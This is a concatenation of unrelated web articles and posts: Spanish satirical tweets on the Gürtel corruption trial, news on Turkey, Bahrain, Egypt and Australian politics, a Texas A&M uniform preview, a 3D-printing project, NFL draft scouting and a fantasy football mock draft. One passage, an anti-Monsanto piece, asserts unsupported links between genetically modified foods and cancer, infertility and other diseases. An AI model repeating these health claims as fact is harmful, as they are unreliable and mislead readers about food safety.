¿Y tú me lo preguntas? — Anacleto Panceto (@Xuxipc) 14 de octubre de 2016
También hemos tenido el juicio del caso Gürtel, al que hemos podido asistir vía streaming. Allí, como hemos visto, se han reencontrado viejos amigos. Muchos recuerdos entre ellos, claro…
-¡VIVAN LOS NOVIOS!
-Señor Correa, ¿se ha vuelto loco?
-Perdón, he mirado atrás y por un momento pensé que estábamos en la boda de Ana Aznar — Anacleto Panceto (@Xuxipc) 14 de octubre de 2016
Y así, llegamos hasta el jueves: Correa empezaba a cantar
Volando voy🎶
Volando vengo,vengo🎶
Por el caminooooo🎶
Me llevo el 3 por cientoooo🎶#CantaCorreaARV pic.twitter.com/VnQNsdyFa4 — Perra Roja de Satán (@vmm7773) 14 de octubre de 2016
¿Qué ha dicho? Pues, en resumen, que parece ser que el PP se financiaba ilegalmente. ¡Sorpresa en Las Gaunas!
La corrupción del PP nos ha pillado a todos por sorpresa. Mazazo terrible. — Galleto Fontanedo (@Coponnnn) 14 de octubre de 2016
Con la cara de buena persona que tenían Rita Barberá, Esperanza Aguirre y Federico Trillo.
Cómo nos la pudieron colar. — Galleto Fontanedo (@Coponnnn) 14 de octubre de 2016
El líder de la trama corrupta ha llegado a decir que la sede de Génova era como su casa
Francisco Correa: «Pasaba más tiempo en Génova que en mi despacho». pic.twitter.com/AJrye5sUnU — Manuel Cerdá (@unmundolibre) 13 de octubre de 2016
Correa ha seguido declarando este viernes
La declaración de Correa que emocionó a Spielberg. — LA MERKEL (@GobernoAlem) 14 de octubre de 2016
Ha dicho más cosas. Por ejemplo, que ACS, Dragados y OHL pagaron ‘mordidas’ al PP a cambio de contratos. Los grandes medios se han apresurado a abrir a toda plana con esta noticJAJAJAJAJAJAJAJAJAJ
¿Habéis visto lo de ACS y OHL en las web de los medios grandes? Yo tampoco. — gerardo tecé (@gerardotc) 14 de octubre de 2016
Otra cosa totalmente inesperada, por cierto
Un momento. ¿Me estáis diciendo que ACS, OHL y Dragados podrían estar comprando concursos públicos? pic.twitter.com/BrKTFfagYt — Antonio Martínez Ron (@aberron) 14 de octubre de 2016
Menos mal que, a parte de todas estas cositas, nos están sacando de la crisis a toda pastilla
España tratando de salir de la crisis pic.twitter.com/z5Y4K0I6Rt — LA MERKEL (@GobernoAlem) 13 de octubre de 2016
Desde que gobierna Rajoy es todo mucho mejor. ¿O no recordáis los viejos tiempos?
¿Os acordáis cuando podíamos grabar al policía que nos molía a palos simplemente por manifestarnos? Qué tiempos. — Arezno (@Arezno) 14 de octubre de 2016
Y, sobre todo, recordad las palabras clave: CASOS AISLADOS
Salvo la Corona, PP, PSOE, la Iglesia, sindicatos, ejército, grandes empresas, bancos y la prensa, la corrupción no está extendida en España — Eterno Primavera (@SiPeroNo1) 14 de octubre de 2016
No preocuparse, la justicia será implacable con ellos, como siempre
La Fiscal presionando en el interrogatorio a Correa. pic.twitter.com/du7eypfm6v — La Paqui (@PatGuerreroGo) 13 de octubre de 2016
El PSOE mientras tanto…
Me gusta cuando callas sobre Gürtel porque estás como absteniéndote. — Lucía Taboada (@TaboadaLucia) 14 de octubre de 2016
Reunión gestora del Psoe en Ferraz, analizan el Juicio de la Gurtel y las declaraciones de Correa, conclusión, NO ven, NO oyen NO hablan. pic.twitter.com/cjN44y23UP — jose gines rico (@gines_rico) 14 de octubre de 2016
Todo parece indicar que al final se abstendrán y permitirán que estos señores tan decentes sigan dirigiendo el destino del país
CAMARERO, SIRVE OTRA RONDA, QUE HEMOS VENÍO A PASÁLO BIEN pic.twitter.com/kQQi4jkpjf — Anacleto Panceto (@Xuxipc) 13 de octubre de 2016
-¿De verdad has dicho que apoyarme a mí era la mejor manera de reparar el daño que el PP ha hecho?
-Sí jijiji pic.twitter.com/foDdsbXyHr — Anacleto Panceto (@Xuxipc) 13 de octubre de 2016
Hay quien dice que si el PSOE al final se abstiene les irá regulín en las próximas elecciones
Partido
Socialista
Obrero
Extinto — Anonimio (@anonimio) 3 de octubre de 2016
Por falta de coherencia no será…
PSOE quiere que el PP gobierne para “sanar el daño que ha hecho” gobernando. Y Cs quiere que gobierne para investigar lo que hizo gobernando — Antonio Maestre (@AntonioMaestre) 14 de octubre de 2016
Por cierto, ¿Y Rivera? No está abrazando a nadie esta semana…
Rivera huyendo de la prensa en plan Rajoy para no hablar con los periodistas de la corrupción del PP. Y éste es la “regeneración” — Eterno Primavera (@SiPeroNo1) 14 de octubre de 2016
LO ESTÁS VIENDO LO ESTÁS RIENDO (LOS TUITS ABSURDOS DEL DÍA)
Cuando vas al trabajo y sólo has podido dormir una hora porque el día anterior saliste. pic.twitter.com/OWzBu2BSfX — Froilán I de España (@FroilLannister) 14 de octubre de 2016
Qué romántico es ver una pareja de 60 años de la mano, ella mirando el horizonte y él con una radio en la oreja escuchando el Betis – Eibar. — Beethoventodo (@beethoventodo) 20 de noviembre de 2015
Pues no entiendo que en castellano el miedo a los payasos no se llame “Fofóbia”. — Apróstata (@haprostata) 14 de octubre de 2016
Mi madre dice que tengo madera de modelo. pic.twitter.com/l2k39BhLln — ЄГіҠѦ LѺթѦҬЄԌԱі (@ErikaLopategui) 13 de octubre de 2016It’s well-documented that August sucks, but one thing that usually comes out of it is college football uniform reveals. Adidas dropped some news on Monday that the Texas A&M Aggies will be wearing yet another alternate uniform in 2017, which will be revealed in full on Thursday, Aug. 17.
While this video goes by fast, it does drop a few clues regarding the new uniform. Enhance...enhance....
Let’s try and look at the individual elements based on what we’ve seen.
Helmet
It’s hard to tell too much, but it appears to be a glossy maroon helmet (potentially fading to black?) with a maroon facemask. You can see the “M” of the logo in the reflection, potentially in a chrome finish?
Jersey
Easily the most striking aspect of the uniform seems to be the Primeknit pattern in the jersey, which, instead of being two tones of maroon, is maroon and black. While many will hate this look, they can take solace in the fact that the numbers appear to be un-beveled. Also noticeably absent are the trademark vertical stripes on the shoulders that have appeared on every non-throwback jersey the Aggies have worn since 2012.
Pants
We only get a brief look at these, but they appear to be maroon, with no stripes, and a large (beveled) block TAM logo on the hip.
Base layers
Both the skull cap and the compression shirt feature block TAM logos with a maroon-to-black gradient.
Come back on Thursday when the uniform is revealed in full and the Aggie internet can roast Kevin Sumlin for spending so much time designing these.Twelve youths were killed following a raid on a house in the eastern Turkish city of Van.
The raid was carried out in Van's central Edremit district by a Turkish special operations team early on Sunday.
A statement by the local governor described the youths as members of a "terrorist organisation," adding that one police officer died in the incident.
The pro-Kurdish Firat News Agency (ANF) said the youths in the house had been dressed in "civilian clothes" and all but one had been shot in the head.
A local deputy from the pro-Kurdish People's Democracy Party (HDP) described the incident as a "mass execution".
"They are all young people in civilian clothes, as has been conveyed to us by those who saw the bodies," Tugba Hezer told ANF. "Not every single one of them can possibly be shot in the head during a clash. It is not possible.
"This is a mass execution."
He said that police were blockading the scene of the incident and the local hospital where the bodies had been taken.
Video footage released by the Dogan News Agency appeared to show the aftermath of the raid in the city, with bodies lying in the snow:
#Turkey: Video shows after Kurdish civilians killed by criminal Turkish regime forces in the city of #Van, Kurdistan pic.twitter.com/o7uOs1EFSB — curdistani (@curdistani) January 10, 2016
The raid marks one of the bloodiest weekends in Turkey's southeast since the collapse of a two-year ceasefire between the Turkish state and the Kurdistan Workers Party (PKK) in July 2015.
On Saturday, 16 suspected Kurdish militants were killed in the towns of Silopi and Cizre, while another four were killed in the Sur district in the city of Diyarbakir.
Human Rights Watch has criticised the Turkish security forces' operations in the southeast of the country, describing their actions as "disproportionate".
“The Turkish government should rein in its security forces, immediately stop the abusive and disproportionate use of force, and investigate the deaths and injuries caused by its operations,” said Emma Sinclair-Webb, senior Turkey researcher at Human Rights Watch.
“To ignore or cover up what’s happening to the region’s Kurdish population would only confirm the widely held belief in the southeast that when it comes to police and military operations against Kurdish armed groups, there are no limits – there is no law.”
The Turkish government claims that since July more than 3,100 militants have been killed in Turkey and in air strikes on the PKK headquarters in northern Iraq.
The PKK heavily disputes this figure, saying that around 220 guerrilla fighters have been killed, along with over 100 civilians.
More than 200 members of the Turkish security services have been killed by Kurdish and left-wing militants, according to the government.
Since the beginning of the PKK's guerilla war against the Turkish state in 1984, more than 40,000 people have been killed, with human rights abuses reported on both sides.I think we can all agree, life would become much more interesting if I launched a turtle shell at you every once and a while.
But it's no fun if I'm the only one with a shell to launch. Therefore,
Turtle Shells for Everybody!!!
All you have to do is print it out and assemble!
The Turtle Shell Racer is as fully 3d printable as I can make it using my Makerbot Cupcake CNC and its MK5 Extruder. The pdf file contains full assembly instructions and a parts list. This is a very ambitious project; expect to spend some time on it.
Video of the Shells in action at CCCKC:
http://www.youtube.com/watch?v=YAd3e_UTW4c
http://www.youtube.com/watch?v=wA-wY-Q_onU
UPDATE Sept 26th
I have uploaded the modifications I made to the shells for the NYC Maker Faire.
Wheely Bar.stl - This replaces the rear axle brackets.stl with a wheely bar, which allows awesome wheelys!
New stearing Link.stl - This new link replaces the old steering linkage.stl. It is designed to capture one of the servo horns and allow a better connection between the servo and the steering.“He is a bright personality, a talented person, no doubt about it," the Russian leader said. "It is not up to us to appraise his positive sides, it is up to the U.S. voters. but, as we can see, he is an absolute leader in the presidential race."
Putin added: "He is saying that he wants to move to a different level of relations with Russia, to a closer, deeper one. How can we not welcome that? Of course, we welcome that."
However, Putin said it was "not up to us to make judgments" on Trump's remarks on U.S. issues or "other means he uses to boost his popularity."
During the news conference, Putin took a swipe at the United States and Turkey but ducked a question about his grown-up daughters.Hamad Bin Isa Al Khalifa, King of Bahrain (R) and Johann Schneider-Ammann met on Thursday in the Swiss capital, Bern (Keystone)
The King of Bahrain Hamad bin Isa Al Khalifa’s official visit to Switzerland on Thursday is the first ever by a Bahraini king. He met with Swiss President Johann Schneider-Ammann, in a sign of the two states trying to improve on a distinctly soured diplomatic relationship.
Details of what exactly is being discussed are being kept under wraps, but the occasion is a momentous one in terms of relations between the two nations.
1. Trade
The Gulf states make up an important trading bloc for Switzerland, with jewellery and watches being particularly popular Swiss exports to the region. A free trade agreement signed in 2009 between the four European Free Trade Association (EFTA) countries, including Switzerland, and the six Gulf nations had a difficult ride to fruition, only coming into effect in 2014.
This should have enabled a much freer flow of trade between Switzerland and Bahrain, but in fact, not much changed. According to figures from the State Secretariat for Economic Affairs (SECO), the value of Swiss exports to the Gulf states in 2013 was CHF7 billion ($7.21 billion ), and from the Gulf states to Switzerland, CHF1 billion.
However, Swiss exports to Bahrain in 2015, one year after the free trade agreement came into effect, topped out at CHF245 million, and from Bahrain to Switzerland that figure was CHF26 million.
In April, the Swiss government decided to partially lift a ban on arms exports to the Middle East that had been in place since March 2015. It means that CHF178 million worth of spare parts for air defence systems can be delivered to Saudi Arabia, Egypt, Bahrain and the UAE. Spare parts for F-5 fighter aircraft in Bahrain will also be allowed.
While this is somewhat controversial in Switzerland, given its neutral position, the move can be viewed as a positive one in terms of trade.
2. Diplomatic concerns
Switzerland has an honorary consulate general in the capital Manama, but no ambassador in the country. The Swiss embassy in Qatar represents Switzerland’s interests in Bahrain, while the Bahraini embassy in Paris extends its reach to Switzerland.
An ongoing money laundering investigation by the Swiss authorities into a former Bahraini oil minister and member of the King’s family, added pressure to relations. The case began in 2011, and included allegations of a $24 million bribe paid to the Bahraini authorities by the US aluminium giant Alcoa.
While the case has been settled in the US with a guilty plea and fine, legal proceedings continue in Switzerland and two of the minister’s Swiss bank accounts remain frozen.
A visit by Swiss Secretary of State Yves Rossier to Bahrain in February 2015 was seen as a positive sign towards improve relations.
3. Human rights abuses
In September 2015, Switzerland made a statement at a session of the Human Rights Council in Geneva, demanding an explanation from the Bahraini authorities for human rights abuses and torture of prisoners in Bahrain. Although the declaration was not adopted, 32 states voted in agreement with the Swiss, including the United States and numerous European countries.
The Swiss ambassador to the UN, Alexandre Fasel, said that the situation concerning human rights in Bahrain would remain a priority for them. At the start of 2016, Switzerland made human rights an important factor in their foreign policy.
There are a number of high profile political activists who are currently being held in prison and undergoing torture. Ahmed Al-Fahan, Nabil Rajab and Zainab Al-Khawaja are famous cases. Al-Khawaja is the daughter of a well-known opposition activist in Bahrain. She has her two-year-old son in prison with her.
On Wednesday, the Bahraini authorities announced they would soon release Al-Khawaja. This can be interpreted as a positive gesture towards Switzerland’s human rights agenda, ahead of the King’s visit to Switzerland.
During the Swiss visit on Thursday, the King and Schneider-Ammann signed two memorandums of understandingexternal link (non-legally binding agreements) on human rights.
4. Swiss abroad and security
Former Swiss diplomat Francois Nordmann told the Swiss newspaper Le Temps that in the 1980s there were 300 Swiss in Bahrain. The current number is just 123.
The Swiss foreign office advises extreme caution to be taken in Bahrain with regard to personal security. The situation is volatile, owing to tensions between the Sunni population and authorities, and the Shia majority, which wants social and political reforms and democratic governance.
The risk of a terrorist incident is high, and given the “internal tensions and the complex relationships” in the region, a “sudden deterioration” in the situation is possible, according to the foreign office. The instability and threat of attacks complicates trade and normal business procedures between the countries.
What do you think? You can contact the author of this article, Jo Fahy, on twitter @jofahyexternal link and on Facebookexternal link.
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Defense contractors rallied Monday after White House officials said President Donald Trump’s upcoming budget will propose a $54 billion increase in military funding.
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Lockheed Martin (NYSE:LMT), the top supplier to the Pentagon, nearly surpassed its 52-week high in mid-morning trading. Shares rose 1.6% to $268.32 a share. Since Election Day, Lockheed Martin has gained 11.9%. Northrop Grumman (NYSE:NOC), Raytheon (NYSE:RTN) and Boeing (NYSE:BA) also spiked in Monday morning trade.
Many defense stocks have been up sharply since Election Day. Back in November, analysts predicted that a Trump victory would propel defense contractors, especially companies that build jets, tanks, ships and other heavy equipment.
The budget, which will be presented to Congress soon, will offset increases for the military with budget cuts across the rest of the federal government, according to FOX News. The White House is reportedly planning to cut funding from the EPA and State Department budgets.
Ticker Security Last Change %Chg LMT LOCKHEED MARTIN CORPORATION 305.88 -0.09 -0.03% NOC NORTHROP GRUMMAN CORPORATION 286.55 -0.50 -0.17% RTN RAYTHEON COMPANY 185.24 -1.01 -0.54% BA BOEING COMPANY 426.77 -0.10 -0.02%
Trump’s budget plan would allocate a total of $603 billion for the Pentagon, up from the current cap at $549 billion. The $54 billion increase would be approximately 3% more than former President Barack Obama’s proposed budget for the military in fiscal year 2018.
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According to a recent Fox News poll, 58% of registered voters believe the U.S. military is stretched too thin. A quarter of the poll’s respondents said the government spends the right amount on the military. Another 45% believe the military spends too little, while 25% think it’s too much.George W. Bush made at least one unexpected contribution to scientific research.
Photo by Tom Pennington/Getty Images
In a modern scientific paper, if you cruise past the “Materials and Methods” section and stop right before you hit the “References,” you’ll find the “Acknowledgments” section, wherein authors are given space to thank others for their contributions to the project. It is generally accepted that this paragraph is ignored by both readers and reviewers alike. Accordingly, it is chock full of inside jokes, snarky comments, and general silliness. Here, for your enjoyment, are a few of our favorite examples.
Sticking it to the man
Most current academic science is, at least in part, supported financially (if not intellectually) by the public. In the United States, this |
approxmiately doubled over the past decade.
Competitors of Monsanto claim that they have “ruthlessly” stifled competition in the seed industry. They want the government to consider antitrust action against Monsanto.
But they are not the only ones who are upset.
Many farmers are fed up with Monsanto’s ruthless use of litigation. All over the United States, the wind is carrying Monsanto’s genetically altered seeds into neighboring fields. Monsanto regularly sends out investigators to visit farms and to test whether any Monsanto strains have shown up on those farms. If they have, then Monsanto proceeds to sue the living daylights out of those farmers.
Other activists are concerned about the environmental impact that Monsanto is having.
You see, once genetically modified crops are released into the environment it is virtually impossible to ever contain or recall them. Insects, birds, and the wind easily carry genetically modified seeds into neighboring fields and beyond. Pollen from genetically modified plants ends up cross-pollinating with natural crops and wild relatives. In fact once this becomes widespread enough, the natural crops can be bred into extinction.
You can’t put the genie back in the bottle.
Has it been wise for the U.S. government to allow so many bizarre genetically modified crops to be released into the environment especially when the long-term health and environmental impacts of these crops are not known?
The truth is that many natural health experts claim that there is a growing body of evidence that genetically modified foods have a link to food allergies, intestinal damage, autoimmune disorders, anemia, diabetes, infertility and even cancer. Independent scientific studies done on the effects of genetically modified have produced some incredibly troubling results.
However, independent scientists and even government officials that have dared to question the safety of genetically modified foods have been harrassed, threatened and in some cases even fired. Someone out there wants to make sure that only one side of the genetically modified food debate is told to the public.
With billions of dollars in profits to be made, it certainly would be inconvenient for the truth about genetically modified food to get out to the American public. The reality is that the monumental greed of the “mega corporations” that we have created is going to end up killing a lot of people.
If these genetically modified crops start failing or find themselves more susceptible to crop diseases than natural versions could we end up with a massive food emergency on our hands? If it does eventually come out that some of the massive increases in disease that we are seeing this decade are due to genetically modified foods, what will that do to the demand for organic seeds?
There are a lot of unanswered questions like that. Many people are becoming increasingly aware of genetically modified crops and are wishing to avoid them, but the reality is that they are virtually everywhere and they are found in an increasing number of food products so it is almost impossible to completely avoid them.
It is tougher than ever for those of us who seek to eat right and to live an organic lifestyle. Hopefully someone in Washington D.C. will wake up before it is too late.Western Australian Senator Rod Culleton has resigned from Pauline Hanson's One Nation party, a move welcomed by the party leader who said he was a "pain in the backside" and she was "glad to see the back of him".
Senator Culleton will continue his term as a senator for Western Australia independently of One Nation, according to a media release tweeted from the senator's official Twitter account on Sunday night.
The maverick senator cited a fraught relationship with Senator Hanson, a lack of respect from party colleagues and a slew of policy differences with the One Nation team.
"Policy decisions have been run in morning media, with no consultation, discussion or agreement from the party room and personal attacks and undermining, un-Australian behaviour towards myself and my team, has been ongoing and terms dictated to the team," Senator Culleton said in a statement.Children have water fights in the sun while ice cream and soft drink vendors do a roaring trade. The protest camps at the heart of Egypt's political crisis feel more like a village fair than a bastion of resistance to military-backed rule.
The thousands of supporters of deposed Islamist President Mohammed Morsi camped out for more than six weeks know they could soon face a violent eviction, but most seem to be enjoying the sense of community rather than worrying about how the party might end.
"We play football, we play ping-pong, we just don't want to get bored. We want this to be a happy atmosphere," said Talaat Mahmoud, 32, an interior designer who joined protesters around the Rabaa al-Adawiya mosque, the biggest of two camps to spring up in Cairo.
The camps are the last political card in the hands of the Muslim Brotherhood, which has seen its leaders jailed and their assets frozen since the army toppled Morsi on July 3 after mass protests against his rule.
The protesters have sworn to stay until he is reinstated. Aside from defiant rhetoric and calls for holy war, most seem to be having a good time while the camps expand every day.
While elsewhere in the city Morsi supporters were fighting their opponents and being hit with police teargas on Tuesday, at the Rabaa camp, boys ran around with water dispensers strapped to their backs, spraying people and laughing.
Despite the Muslim Brotherhood members standing guard with sticks near sandbags or piles of rock, everyone in the camps knows that security forces will have overwhelming firepower if they do decide to force them out.
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Until then, life goes on at the gatherings, where electricity cables reach most tents. Vendors sell pocket-sized Korans, hairbrushes and plastic toys and a field pharmacy offers antibiotics, eye drops and other medicines for free.
"We have the army on our doorstep, but there are no weapons here," said Salah Mahmoud, 42, as he cheered on young boys playing ping-pong at Rabaa, the biggest camp.
Local media have reported that government forces had bolstered security around the camps to prevent weapons getting in.
Fearing a bloodbath
Over 300 people have died in political violence since army chief Abdel Fattah al-Sisi toppled Morsi.
Fearing a bloodbath, Western envoys and some senior members of the interim government have urged the military to avoid using force to disperse the camps, where ice cream vendors and food and clothes stalls line the streets.
The sites have become highly organized communities. Men read the Koran, discuss politics or crack jokes in tents, surrounded by posters of those killed by police and considered martyrs.
But there is no sense of siege at Rabaa or the other camp at al-Nahda Square, or worries that supplies will run out. Communal kitchens with brand new refrigerators are feeding the thousands.
"Maybe somebody comes and says 'I've brought 100 kg of meat', so we cook meat," said Mohamed Mosad Ghitani, an engineer volunteering in one of the kitchens.
"Another day, somebody says 'I've brought 200 chickens', so we cook chicken."The Rabaa camp cannot expand further.
Some entrances are blocked by riot police and army vans or fortifications set up by protesters. So Morsi's supporters are adding floors to the makeshift wooden buildings that have sprung up among the tents.
Shop owner Mustafa, 24, is not a protester, but he is enjoying the carnival atmosphere at least as much as those who are.
"Business is better in the camp than outside. I sleep here. I'm here every day," he said, unloading hundreds of cans of soft drinks from a truck.
Supporters of Egypt's ousted President Mohammed Morsi dance in front of his poster near Cairo University in Giza, Egypt, Monday, Aug. 12, 2013. APA Saturday afternoon rally for Donald Trump turned violent when a group of Trump supports kicked and dragged out a protester, NBC Miami reports.
Ariel Rojas, a senior at Florida International University (FIU), attended the Trump rally at the candidate’s Doral golf course with the purpose of simply chanting pro-immigration messages. Rojas came with a group of fellow FIU students, each holding a placard of letters that spelled “equality.”
NBC Miami reports:
Rojas, a senior at FIU, was holding up the letter Q before, he said, the Trump supporters standing in front of him turned around, grabbed their signs, and tore them to pieces. “There were some choice moments of irony,’ said Rojas, whose friend reported seeing a Trump supporter whacking a protester with a sign that read “The Silent Majority Supports Trump.”
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In the video, a man pulls Rojas to the ground and kicks him, during the attack a group chants “U.S.A,” rather than intervening. The whole scene is deeply disturbing, in part because Doral—a suburb of Miami—is a city of immigrants. It has one of the largest populations of Venezuelan immigrants in the United States.
Incidentally, Doral is also home to Fusion’s studios; earlier in the week Trump denied entry to journalists from the station, as well as journalists from Univision. That decision was prompted by Trump’s run-in with Univision/Fusion journalist Jorge Ramos who, in August, questioned Trump about his anti-immigration rhetoric.
Rojas and his group were escorted off the premises by the police. The Trump campaign did not denounce the event but confirmed that the man dragging and kicking Rojas had no official affiliation with the campaign.
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Watch the whole video here.
Screenshot via Channel 6, NBC Miami.One prospect who the Broncos are considering taking in the first-round of the 2016 NFL Draft is former Ole Miss defensive lineman Robert Nkemdiche. In fact, the Broncos hosted the talented defensive lineman on Thursday. He is a 6'3", 294lb defensive lineman who is considered one of the riskier picks in the draft. Nkemdiche is ranked as the 25th overall prospect in the 2016 NFL Draft according to CBS Sports, and the 5th overall defensive tackle in this year's draft.
During Nkemdiche's three-year career at Ole Miss he totaled 81 tackles, 16 tackles for a loss, and 6 sacks. This past season he totaled 26 tackles, 7 tackles for a loss, and 3 sacks.
Robert Nkemdiche, Junior, Ole Miss
Height: 6'3 Weight: 294lbs 40 time: 4.87 seconds
Arm Length: 33 7/8" Hands: 10 3/4"
Bench Press: 28 reps Vertical Jump: 35.0 inches
Broad Jump: 116.0 inches
Film Room:
Scouting Report:
Strengths:
He looks the part, size, frame, thickness, and carries his size well
Powerful
Explosive off the line
Moves well for a man that big
Unblockable in one on one situations
Shows elite lateral quickness for a man of his size
Clogs running lanes
Showed improvement as a pass rusher
Has a nice spin move
Penetrator
Pushes the pocket
Plays low to the ground and gets good leverage
Top 5 talent
Weaknesses:
So many red flags
Character questions
Work ethic is questioned
Arrested for marijuana possession after taking a fall from an Atlanta area hotel room
Multiple run-ins with the law
Tons of talent but does he want to be great?
He was suspended from Ole Miss's bowl game after the incident
Admitted to being lazy
Inconsistent effort on the field
Doesn't have the production you would expect, but was double and triple teamed
Needs to develop more pass rush moves
Plays out of control
Needs to improve his on the field discipline
Does Robert Nkemdiche fit with the Broncos?
Hard to say.
If you watch the tape, his talent and athleticism jump out to you. When he is giving it his 100%, he is unstoppable. He has the size, speed, power, explosiveness, and just elite talent you look for in a defensive lineman. He should be a top 5 talent in this year's draft.
However, there are so many red flags. Top 5 talent, but fifth round character.
He has drug problems, character questions, his work ethic is questioned, and some even question if he wants to be great. Does he have the fire inside of him that the great ones do?
I know the Broncos have a strong locker room and defensive line coach Bill Kollar is probably the best in the business, but it takes effort from both ends.
The Broncos environment could change him, or he could be suspended and be a huge bust. He is probably the biggest boom or bust in this year's draft.
If he falls to pick 31, I think the Broncos should consider him, but I would mich rather go with a Vernon Butler, Jihad Ward, or Chris Jones. This draft is so deep at this position where I don't think the risk is worth it.
I know some of you will point to Shane Ray and Bradley Roby as instances where the Broncos took a chance on a character risk, but it's not even comparable. Ray and Roby had minor off the field issues, Nkemdiche's are so much more concerning, at least to me.
I talked myself into and out of Nkemdiche like three or four times while writing this up. I get both sides of the argument, but ultimately I would pass on Nkemdiche in the first round. Now if he fell into the second round? That would be a different story.You don't see two quarterbacks on the field very often in the NFL, but we're starting to see two quarterbacks start on the same Fantasy Football team.
Talk about putting the Fantasy in Fantasy Football. League commissioners are finding that starting multiple signal-callers makes the game tougher to play. Some leagues are opening up their flex spots to allow quarterbacks instead of the traditional mix of running backs-wide receivers-tight ends. Instead of everyone kicking back and waiting for one quarterback to fall into their laps, the pressure is on to take three -- two starters and a bye week replacement.
Basic strategy for leagues that allow a quarterback as a flex is to take advantage simply because quarterbacks tend to put up more points than other positions (though league scoring varies -- look into that before drafting). In leagues that start two quarterbacks, the gameplan should be to pick at least one quality passer early, if not two. Beware the owner who decides to pass on good quarterbacks early in hopes of drafting three or four options later on. Remember, in two-QB leagues most everyone angles for quarterbacks in the early rounds.
This two-quarterback draft will feature 12 owners. All touchdowns are worth six points, and we award one point for every 10 yards rushing and receiving and one point for every 25 yards passing (non-PPR). We feature a starting lineup of 2 QB, 2 RB, 2 WR, TE, K, DST and a FLEX (RB/WR/TE). There will also be six reserve spots, making up a 16-round draft.
Our draft order is as follows:
1. John Garcia, Fantasy Writer
2. Denny Burkholder, NFL Production Editor
3. Dave Richard, Senior Fantasy Writer
4. Jeff Tobin, Associate Managing Editor, Fantasy Sports
5. Peter Madden, Editorial Director, Fantasy Sports
6. Jim Lanzone, President, CBS Interactive
7. Will Brinson, Senior NFL Blogger
8. Paul Prouty, Manager, Customer Service
9. Mike Freeman, National Columnist
10. Jamey Eisenberg, Senior Fantasy Writer
11. Corey Guerrera, Senior Product Manager, Fantasy Sports
12. Kevin Goodwin, Fantasy Writer
The draft was held LIVE on CBSSports.com at Noon ET on August 18 as part of our weekly expert mock drafts. And following the draft, we delivered a two-hour chat where Fantasy questions were answered.
As always, we ask you to share your thoughts. Take advantage of our new Fantasy Football Twitter feed (@CBSFantasyFB) and post your comments there or share your thoughts on our Fantasy Football Facebook page.
Check out our updated rankings: Standard | Top 200 | Top 200 PPR
Team-by-Team Draft Results
Corey Guerrera
Round.Pick Player Round.Pick Player
6.02 Ryan Mathews 14.02 Packers
My quarterback draft strategy was: Making sure I had one of the top-tier QBs. I ended up with Peyton Manning, because he was the last of the truly elite QBs left on the board. It was a no-brainer and an easy call to make that pick. Cutler could be boom or bust, but I felt comfortable waiting for my No. 2 QB after locking up the always-steady Manning.
The biggest reach of this draft was: Matt Ryan, 13th overall. He's a solid player, and this is a 2-QB league, but Romo was still on the board.
The biggest steal of this draft was: Ryan Torain, round 10. He could very well be the starting RB this year. That's great value for a 10th round pick.
The grade I give myself is: B+
If I could trade rosters with one guy in the league it would be: No one. I love my squad.
Post your take on this team: Facebook | Twitter | Message Board
Dave Richard
Round.Pick Player Round.Pick Player
6.10 Dallas Clark 14.10 Jets
My quarterback draft strategy was: To take a quarterback in Round 1 (third overall) and then wait a while for another. I also had a list of low-end passers I'd be happy with as my third quarterback. Picked up Vince Young as a Vick handcuff for good measure. Four quarterbacks. Mission accomplished.
If I could have one of my picks back, it would be: Dallas Clark in Round 6. Not because Clark's bad or anything -- he's very good -- but I could have landed Daniel Thomas there and then potentially picked Clark (or Jason Witten, or Vernon Davis in Round 7. I broke my rule about reaching for tight ends.
The biggest reach of this draft was: I know it's a two-quarterback league, and that makes owners do wild things, but Kevin Goodwin's pick of Matt Ryan at 13th overall is too hard to ignore.
The grade I give myself is: C
If I could trade rosters with one guy in the league it would be: Jamey Eisenberg
Post your take on this team: Facebook | Twitter | Message Board
Denny Burkholder
Round.Pick Player Round.Pick Player
6.11 Brandon Lloyd 14.11 Bears
My quarterback draft strategy was: Get the best guy available in Round 1, and then turn my attention to running backs.
If I could have one of my picks back, it would be: Brandon Lloyd. I'd have taken Austin Collie instead. He was gone two picks later and he was in my queue.
The biggest steal of this draft was: Ryan Grant in Round 6 (by Kevin Goodwin).
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Peter Madden
Post your take on this team: Facebook | Twitter | Message Board
Jamey Eisenberg
Round.Pick Player Round.Pick Player
7.10 Mike Tolbert 15.10 Chargers
My quarterback draft strategy was: I wasn't planning on taking back-to-back quarterbacks in Round 3 and 4, but I wanted one there. I was glad to see Ben Roethlisberger fall after the long run on quarterbacks, and he went after Josh Freeman, which is nice for me. Matthew Stafford was just too good to pass up in Round 4, and I feel like I have one of the best quarterback duos in this league.
If I could have one of my picks back, it would be: Jason Campbell in Round 11. Not that I mind Campbell in this format as my No. 3 quarterback, but I should have taken Javon Ringer there. In the event Chris Johnson holdout becomes a significant problem then Ringer is a steal that late. And he went right after I drafted Campbell, which hurts.
The biggest steal of this draft was: There were two in LeSean McCoy and Andre Johnson in Round 2. Because of the early run on quarterbacks, those two first-round picks made it to the middle of the second round. I was able to get McCoy to pair with Jamaal Charles as my top two running backs. Some people would call that the beginning to a championship team.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Jeff Tobin
Post your take on this team: Facebook | Twitter | Message Board
Jeff Tobin
Round.Pick Player Round.Pick Player
6.09 Mark Sanchez 14.09 Ravens
My quarterback draft strategy was: Since I drafted in the top four, grabbing one of the elite quarterbacks was a must, so I went with Brees. I didn't want to pick a second QB until later in the draft and I think Sanchez could have a very good third season.
If I could have one of my picks back, it would be: Michael Bush, ninth round. This is less about Bush and mostly about a third QB. Ryan Fitzpatrick was still available and I could have pulled the trigger, but didn't. Probably should have.
The biggest steal of this draft was: Davone Bess, 13th round. What? I know, but Bess could have a huge season. Not that he should be taken in the early rounds, but to make it to the 13th round? I think he fell too far for someone who has 1,000 yards worth of potential.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: Jamey Eisenberg
Post your take on this team: Facebook | Twitter | Message Board
Jim Lanzone
Round.Pick Player Round.Pick Player
7.06 Jermichael Finley 15.06 Saints
My quarterback draft strategy was: Get one stud, get one who's underrated. And get two in first four rounds.
The biggest reach of this draft was: Josh Freeman in Round 3. He's being treated like a stud. Without that five-touchdown game last year he throws for 20 or 22 touchdowns. That's Cutlerville.
The biggest steal of this draft was: Easily my nabbing of Chris Johnson at No. 6 overall in Round 1. Amateur hour, and the amateur won.
The grade I give myself is: B
If I could trade rosters with one guy in the league it would be: No one. That's for cowards. Clear eyes, full hearts, can't lose.
Post your take on this team: Facebook | Twitter | Message Board
John Garcia
